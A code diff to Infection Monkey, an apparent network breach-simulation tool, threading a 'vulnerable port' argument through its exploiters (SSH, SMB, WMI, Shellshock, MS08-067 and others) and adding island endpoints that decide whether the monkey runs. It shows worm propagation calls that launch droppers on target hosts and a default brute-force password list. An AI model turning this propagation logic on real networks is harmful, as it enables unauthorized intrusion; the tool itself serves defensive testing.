diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index e41b8a8a6..46f59b570 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -8,9 +8,6 @@ from itertools import product
 
 __author__ = 'itamar'
 
-from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
-from infection_monkey.network import info
-
 GUID = str(uuid.getnode())
 
 EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
@@ -25,14 +22,17 @@ class Configuration(object):
         for key, value in list(formatted_data.items()):
             if key.startswith('_'):
                 continue
-            if key in ["name", "id", "current_server"]:
+            if key in ["name", "id", "current_server", "max_depth"]:
                 continue
             if self._depth_from_commandline and key == "depth":
+                self.max_depth = value
                 continue
             if hasattr(self, key):
                 setattr(self, key, value)
             else:
                 unknown_items.append(key)
+        if not self.max_depth:
+            self.max_depth = self.depth
         return unknown_items
 
     def from_json(self, json_data):
@@ -138,6 +138,8 @@ class Configuration(object):
 
     # depth of propagation
     depth = 2
+    max_depth = None
+    started_on_island = False
     current_server = ""
 
     # Configuration servers to try to connect to, in this order.
@@ -235,6 +237,18 @@ class Configuration(object):
             cred_list.append(cred)
         return cred_list
 
+    @staticmethod
+    def hash_sensitive_data(sensitive_data):
+        """
+        Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
+        saved on client machines plain-text.
+
+        :param sensitive_data: the data to hash.
+        :return: the hashed data.
+        """
+        password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
+        return password_hashed
+
     exploit_user_list = ['Administrator', 'root', 'user']
     exploit_password_list = ["Password1!", "1234", "password", "12345678"]
     exploit_lm_hash_list = []
@@ -262,30 +276,22 @@ class Configuration(object):
 
     extract_azure_creds = True
 
+    ###########################
+    # post breach actions
+    ###########################
     post_breach_actions = []
     custom_PBA_linux_cmd = ""
     custom_PBA_windows_cmd = ""
     PBA_linux_filename = None
     PBA_windows_filename = None
 
-    @staticmethod
-    def hash_sensitive_data(sensitive_data):
-        """
-        Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
-        saved on client machines plain-text.
+    ###########################
+    # testing configuration
+    ###########################
+    export_monkey_telems = False
 
-        :param sensitive_data: the data to hash.
-        :return: the hashed data.
-        """
-        password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
-        return password_hashed
-
-    @staticmethod
-    def should_monkey_run():
-        local_ips = info.local_ips()
-        if set(local_ips).intersection(set(WormConfiguration.blocked_ips)):
-            raise PlannedShutdownException("Monkey shouldn't run on current machine "
-                                           "(blocked ip or redundant exploitation).")
+    def get_hop_count(self):
+        return self.max_depth - self.depth
 
 
 WormConfiguration = Configuration()
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 8b45bab2c..0e6edd106 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -15,6 +15,8 @@ from infection_monkey.transport.tcp import TcpProxy
 
 __author__ = 'hoffer'
 
+from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
+
 requests.packages.urllib3.disable_warnings()
 
 LOG = logging.getLogger(__name__)
@@ -321,3 +323,28 @@ class ControlClient(object):
                                 proxies=ControlClient.proxies)
         except requests.exceptions.RequestException:
             return False
+
+    @staticmethod
+    def should_monkey_run(port: str) -> bool:
+        if WormConfiguration.get_hop_count() > 1 and \
+           ControlClient.can_island_see_port(port) and \
+           WormConfiguration.started_on_island:
+            raise PlannedShutdownException("Monkey shouldn't run on current machine "
+                                           "(it will be exploited later with more depth).")
+        return True
+
+    @staticmethod
+    def can_island_see_port(port):
+        try:
+            url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}"
+            response = requests.get(url, verify=False)
+            response = json.loads(response.content.decode())
+            return response['status'] == "port_visible"
+        except requests.exceptions.RequestException:
+            return False
+
+    @staticmethod
+    def report_start_on_island():
+        requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
+                      data=json.dumps({'started_on_island': True}),
+                      verify=False)
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index 55a359b60..dc7e5dc27 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -44,6 +44,7 @@ class MonkeyDrops(object):
         arg_parser.add_argument('-s', '--server')
         arg_parser.add_argument('-d', '--depth', type=int)
         arg_parser.add_argument('-l', '--location')
+        arg_parser.add_argument('-vp', '--vulnerable-port')
         self.monkey_args = args[1:]
         self.opts, _ = arg_parser.parse_known_args(args)
 
@@ -115,7 +116,11 @@ class MonkeyDrops(object):
                     LOG.warning("Cannot set reference date to destination file")
 
         monkey_options = \
-            build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
+            build_monkey_commandline_explicitly(self.opts.parent,
+                                                self.opts.tunnel,
+                                                self.opts.server,
+                                                self.opts.depth,
+                                                self.opts.vulnerable_port)
 
         if OperatingSystem.Windows == SystemInfoCollector.get_os():
             monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 05c6315c1..76124cac8 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -73,7 +73,8 @@ class HadoopExploiter(WebRCE):
 
     def build_command(self, path, http_path):
         # Build command to execute
-        monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+        monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1,
+                                              vulnerable_port=HTTPTools.get_port_from_url(http_path))
         if 'linux' in self.host.os['type']:
             base_command = HADOOP_LINUX_COMMAND
         else:
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 9d2aff5b0..36833c5bc 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -133,6 +133,7 @@ class MSSQLExploiter(HostExploiter):
         # Form monkey's launch command
         monkey_args = build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1,
+                                               MSSQLExploiter.SQL_DEFAULT_TCP_PORT,
                                                dst_path)
         suffix = ">>{}".format(self.payload_file_path)
         prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index 4820d0f05..0d08d8a5a 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -329,7 +329,10 @@ class SambaCryExploiter(HostExploiter):
             return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
 
     def get_monkey_commandline_file(self, location):
-        return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
+        return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host,
+                                                              get_monkey_depth() - 1,
+                                                              SambaCryExploiter.SAMBA_PORT,
+                                                              str(location)))
 
     @staticmethod
     def is_share_writable(smb_client, share):
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index 718e10617..4c4c9eff0 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -144,7 +144,11 @@ class ShellShockExploiter(HostExploiter):
 
             # run the monkey
             cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
-            cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
+            cmdline += build_monkey_commandline(self.host,
+                                                get_monkey_depth() - 1,
+                                                HTTPTools.get_port_from_url(url),
+                                                dropper_target_path_linux)
+            cmdline += ' & '
             run_path = exploit + cmdline
             self.attack_page(url, header, run_path)
 
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index f53e1ac38..86839c027 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -28,6 +28,7 @@ class SmbExploiter(HostExploiter):
 
     def __init__(self, host):
         super(SmbExploiter, self).__init__(host)
+        self.vulnerable_port = None
 
     def is_os_supported(self):
         if super(SmbExploiter, self).is_os_supported():
@@ -36,11 +37,13 @@ class SmbExploiter(HostExploiter):
         if not self.host.os.get('type'):
             is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
             if is_smb_open:
+                self.vulnerable_port = 445
                 smb_finger = SMBFinger()
                 smb_finger.get_host_fingerprint(self.host)
             else:
                 is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
                 if is_nb_open:
+                    self.vulnerable_port = 139
                     self.host.os['type'] = 'windows'
             return self.host.os.get('type') in self._TARGET_OS_TYPE
         return False
@@ -103,10 +106,13 @@ class SmbExploiter(HostExploiter):
         if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
             cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
                       build_monkey_commandline(self.host, get_monkey_depth() - 1,
+                                               self.vulnerable_port,
                                                self._config.dropper_target_path_win_32)
         else:
             cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
-                      build_monkey_commandline(self.host, get_monkey_depth() - 1)
+                      build_monkey_commandline(self.host,
+                                               get_monkey_depth() - 1,
+                                               vulnerable_port=self.vulnerable_port)
 
         smb_conn = False
         for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index 45d36d055..5e58f1f54 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -179,7 +179,9 @@ class SSHExploiter(HostExploiter):
 
         try:
             cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
-            cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
+            cmdline += build_monkey_commandline(self.host,
+                                                get_monkey_depth() - 1,
+                                                vulnerable_port=SSH_PORT)
             cmdline += " > /dev/null 2>&1 &"
             ssh.exec_command(cmdline)
 
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
index 1fc2fc4f1..b5fce82f7 100644
--- a/monkey/infection_monkey/exploit/tools/helpers.py
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -41,7 +41,8 @@ def get_target_monkey_by_os(is_windows, is_32bit):
     return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
 
 
-def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
+def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None,
+                                        vulnerable_port=None):
     cmdline = ""
 
     if parent is not None:
@@ -53,17 +54,19 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d
     if depth is not None:
         if depth < 0:
             depth = 0
-        cmdline += " -d %d" % depth
+        cmdline += f" -d {depth}"
     if location is not None:
-        cmdline += " -l %s" % location
+        cmdline += f" -l {location}"
+    if vulnerable_port is not None:
+        cmdline += f" -vp {str(vulnerable_port)}"
 
     return cmdline
 
 
-def build_monkey_commandline(target_host, depth, location=None):
+def build_monkey_commandline(target_host, depth, vulnerable_port, location=None):
     from infection_monkey.config import GUID
     return build_monkey_commandline_explicitly(
-        GUID, target_host.default_tunnel, target_host.default_server, depth, location)
+        GUID, target_host.default_tunnel, target_host.default_server, depth, location, vulnerable_port)
 
 
 def get_monkey_depth():
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index bfdeb68c8..af53e0450 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -73,6 +73,10 @@ class HTTPTools(object):
         lock.acquire()
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
 
+    @staticmethod
+    def get_port_from_url(url: str) -> int:
+        return urllib.parse.urlparse(url).port
+
 
 class MonkeyHTTPServer(HTTPTools):
     def __init__(self, host):
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 1305e3946..6e06c8bcf 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -132,7 +132,9 @@ class VSFTPDExploiter(HostExploiter):
         T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
 
         # Run monkey on the machine
-        parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+        parameters = build_monkey_commandline(self.host,
+                                              get_monkey_depth() - 1,
+                                              vulnerable_port=FTP_PORT)
         run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
 
         # Set unlimited to memory
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index 9f40f0934..3863d47e1 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -42,6 +42,8 @@ class WebRCE(HostExploiter):
         self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
         self.skip_exist = self._config.skip_exploit_if_file_exist
         self.vulnerable_urls = []
+        self.target_url = None
+        self.vulnerable_port = None
 
     def get_exploit_config(self):
         """
@@ -87,27 +89,30 @@ class WebRCE(HostExploiter):
         if not self.vulnerable_urls:
             return False
 
+        self.target_url = self.vulnerable_urls[0]
+        self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
+
         # Skip if monkey already exists and this option is given
-        if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
+        if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.target_url):
             LOG.info("Host %s was already infected under the current configuration, done" % self.host)
             return True
 
         # Check for targets architecture (if it's 32 or 64 bit)
-        if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
+        if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
             return False
 
         # Upload the right monkey to target
-        data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
+        data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
 
         if data is False:
             return False
 
         # Change permissions to transform monkey into executable file
-        if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
+        if self.change_permissions(self.target_url, data['path']) is False:
             return False
 
         # Execute remote monkey
-        if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
+        if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
             return False
 
         return True
@@ -403,10 +408,15 @@ class WebRCE(HostExploiter):
             default_path = self.get_default_dropper_path()
             if default_path is False:
                 return False
-            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
+            monkey_cmd = build_monkey_commandline(self.host,
+                                                  get_monkey_depth() - 1,
+                                                  self.vulnerable_port,
+                                                  default_path)
             command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
         else:
-            monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
+            monkey_cmd = build_monkey_commandline(self.host,
+                                                  get_monkey_depth() - 1,
+                                                  self.vulnerable_port)
             command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
         try:
             LOG.info("Trying to execute monkey using command: {}".format(command))
@@ -489,3 +499,6 @@ class WebRCE(HostExploiter):
             except KeyError:
                 LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
         return self._config.dropper_target_path_win_32
+
+    def set_vulnerable_port_from_url(self, url):
+        self.vulnerable_port = HTTPTools.get_port_from_url(url)
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index 8379b6d4f..08c588278 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -234,11 +234,15 @@ class Ms08_067_Exploiter(HostExploiter):
         # execute the remote dropper in case the path isn't final
         if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
             cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
-                      build_monkey_commandline(self.host, get_monkey_depth() - 1,
+                      build_monkey_commandline(self.host,
+                                               get_monkey_depth() - 1,
+                                               SRVSVC_Exploit.TELNET_PORT,
                                                self._config.dropper_target_path_win_32)
         else:
             cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
-                      build_monkey_commandline(self.host, get_monkey_depth() - 1)
+                      build_monkey_commandline(self.host,
+                                               get_monkey_depth() - 1,
+                                               vulnerable_port=SRVSVC_Exploit.TELNET_PORT)
 
         try:
             sock.send("start %s\r\n" % (cmdline,))
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index adaf524e2..2100c23b0 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -21,6 +21,7 @@ class WmiExploiter(HostExploiter):
     _TARGET_OS_TYPE = ['windows']
     EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
     _EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
+    VULNERABLE_PORT = 135
 
     def __init__(self, host):
         super(WmiExploiter, self).__init__(host)
@@ -94,11 +95,15 @@ class WmiExploiter(HostExploiter):
             # execute the remote dropper in case the path isn't final
             elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
                 cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
-                          build_monkey_commandline(
-                              self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
+                          build_monkey_commandline(self.host,
+                                                   get_monkey_depth() - 1,
+                                                   WmiExploiter.VULNERABLE_PORT,
+                                                   self._config.dropper_target_path_win_32)
             else:
                 cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
-                          build_monkey_commandline(self.host, get_monkey_depth() - 1)
+                          build_monkey_commandline(self.host,
+                                                   get_monkey_depth() - 1,
+                                                   WmiExploiter.VULNERABLE_PORT)
 
             # execute the remote monkey
             result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 8e0763dc5..377440a76 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -27,7 +27,7 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
 from infection_monkey.telemetry.tunnel_telem import TunnelTelem
 from infection_monkey.windows_upgrader import WindowsUpgrader
 from infection_monkey.post_breach.post_breach_handler import PostBreach
-from infection_monkey.network.tools import get_interface_to_target
+from infection_monkey.network.tools import get_interface_to_target, is_running_on_server
 from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
 from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
 from common.utils.attack_utils import ScanStatus, UsageEnum
@@ -71,6 +71,7 @@ class InfectionMonkey(object):
         arg_parser.add_argument('-t', '--tunnel')
         arg_parser.add_argument('-s', '--server')
         arg_parser.add_argument('-d', '--depth', type=int)
+        arg_parser.add_argument('-vp', '--vulnerable-port')
         self._opts, self._args = arg_parser.parse_known_args(self._args)
 
         self._parent = self._opts.parent
@@ -116,6 +117,10 @@ class InfectionMonkey(object):
 
             self.shutdown_by_not_alive_config()
 
+            if self.is_started_on_island():
+                ControlClient.report_start_on_island()
+            ControlClient.should_monkey_run(self._opts.vulnerable_port)
+
             if firewall.is_enabled():
                 firewall.add_firewall_rule()
 
@@ -126,8 +131,6 @@ class InfectionMonkey(object):
             StateTelem(is_done=False, version=get_version()).send()
             TunnelTelem().send()
 
-            WormConfiguration.should_monkey_run()
-
             LOG.debug("Starting the post-breach phase.")
             self.collect_system_info_if_configured()
             PostBreach().execute_all_configured()
@@ -379,3 +382,6 @@ class InfectionMonkey(object):
             raise PlannedShutdownException("Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel))
         self._default_server = WormConfiguration.current_server
         LOG.debug("default server set to: %s" % self._default_server)
+
+    def is_started_on_island(self):
+        return is_running_on_server(self._default_server) and WormConfiguration.depth == WormConfiguration.max_depth
diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py
index 5e95e20be..ef37fe827 100644
--- a/monkey/infection_monkey/network/tools.py
+++ b/monkey/infection_monkey/network/tools.py
@@ -7,7 +7,7 @@ import struct
 import time
 import re
 
-from infection_monkey.network.info import get_routes
+from infection_monkey.network.info import get_routes, local_ips
 from infection_monkey.pyinstaller_utils import get_binary_file_path
 from infection_monkey.utils.environment import is_64bit_python
 
@@ -309,3 +309,7 @@ def get_interface_to_target(dst):
         paths.sort()
         ret = paths[-1][1]
         return ret[1]
+
+
+def is_running_on_server(ip: str) -> bool:
+    return ip in local_ips()
diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py
index 13aac018a..505220a78 100644
--- a/monkey/monkey_island/cc/app.py
+++ b/monkey/monkey_island/cc/app.py
@@ -16,10 +16,12 @@ from monkey_island.cc.resources.island_logs import IslandLog
 from monkey_island.cc.resources.monkey import Monkey
 from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration
 from monkey_island.cc.resources.island_configuration import IslandConfiguration
+from monkey_island.cc.resources.monkey_control.started_on_island import StartedOnIsland
 from monkey_island.cc.resources.monkey_download import MonkeyDownload
 from monkey_island.cc.resources.netmap import NetMap
 from monkey_island.cc.resources.node import Node
 from monkey_island.cc.resources.node_states import NodeStates
+from monkey_island.cc.resources.monkey_control.remote_port_check import RemotePortCheck
 from monkey_island.cc.resources.remote_run import RemoteRun
 from monkey_island.cc.resources.reporting.report import Report
 from monkey_island.cc.resources.root import Root
@@ -121,6 +123,8 @@ def init_api_resources(api):
     api.add_resource(AttackConfiguration, '/api/attack')
     api.add_resource(AttackReport, '/api/attack/report')
     api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
+    api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/<string:port>')
+    api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island')
 
     api.add_resource(MonkeyTest, '/api/test/monkey')
     api.add_resource(ClearCaches, '/api/test/clear_caches')
diff --git a/monkey/monkey_island/cc/resources/monkey_control/__init__.py b/monkey/monkey_island/cc/resources/monkey_control/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py
new file mode 100644
index 000000000..d10ad067c
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py
@@ -0,0 +1,14 @@
+import flask_restful
+from flask import request
+
+from monkey_island.cc.services.remote_port_check import check_tcp_port
+
+
+class RemotePortCheck(flask_restful.Resource):
+
+    # Used by monkey. can't secure.
+    def get(self, port):
+        if check_tcp_port(request.remote_addr, port):
+            return {"status": "port_visible"}
+        else:
+            return {"status": "port_invisible"}
diff --git a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py
new file mode 100644
index 000000000..542860f48
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py
@@ -0,0 +1,16 @@
+import json
+
+import flask_restful
+from flask import request, make_response
+
+from monkey_island.cc.services.config import ConfigService
+
+
+class StartedOnIsland(flask_restful.Resource):
+
+    # Used by monkey. can't secure.
+    def post(self):
+        data = json.loads(request.data)
+        if data['started_on_island']:
+            ConfigService.set_started_on_island(True)
+        return make_response({}, 200)
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index f8d9df0de..d4521b3f9 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -321,3 +321,7 @@ class ConfigService:
     @staticmethod
     def add_blocked_ip(ip_):
         ConfigService.append_to_config_array(['basic_network', 'general', 'blocked_ips'], ip_)
+
+    @staticmethod
+    def set_started_on_island(value: bool):
+        ConfigService.set_config_value(['internal', 'general', 'started_on_island'], value)
diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py
index afc8591d3..b6668af38 100644
--- a/monkey/monkey_island/cc/services/config_schema.py
+++ b/monkey/monkey_island/cc/services/config_schema.py
@@ -564,6 +564,13 @@ SCHEMA = {
                             "default": r"monkey_dir",
                             "description": "Directory name for the directory which will contain all of the monkey files"
                         },
+                        "started_on_island": {
+                            "title": "Started on island",
+                            "type": "boolean",
+                            "default": False,
+                            "description": "Was exploitation started from island"
+                                           "(did monkey with max depth ran on island)"
+                        },
                     }
                 },
                 "classes": {
diff --git a/monkey/monkey_island/cc/services/remote_port_check.py b/monkey/monkey_island/cc/services/remote_port_check.py
new file mode 100644
index 000000000..d7d114bf8
--- /dev/null
+++ b/monkey/monkey_island/cc/services/remote_port_check.py
@@ -0,0 +1,19 @@
+import socket
+
+
+DEFAULT_TIMEOUT = 5  # Seconds
+
+
+def check_tcp_port(ip: str, port: str, timeout=DEFAULT_TIMEOUT) -> bool:
+    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    sock.settimeout(timeout)
+
+    try:
+        sock.connect((ip, int(port)))
+    except socket.timeout:
+        return False
+    except socket.error:
+        return False
+    finally:
+        sock.close()
+    return True
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index 79e71b792..87fd1ace6 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -69,7 +69,11 @@ class ConfigurePageComponent extends AuthComponent {
       cnc: {},
       network: {},
       exploits: {},
-      internal: {}
+      internal: {
+        general: {
+          started_on_island: {'ui:widget': 'hidden'}
+        }
+      }
     })
   }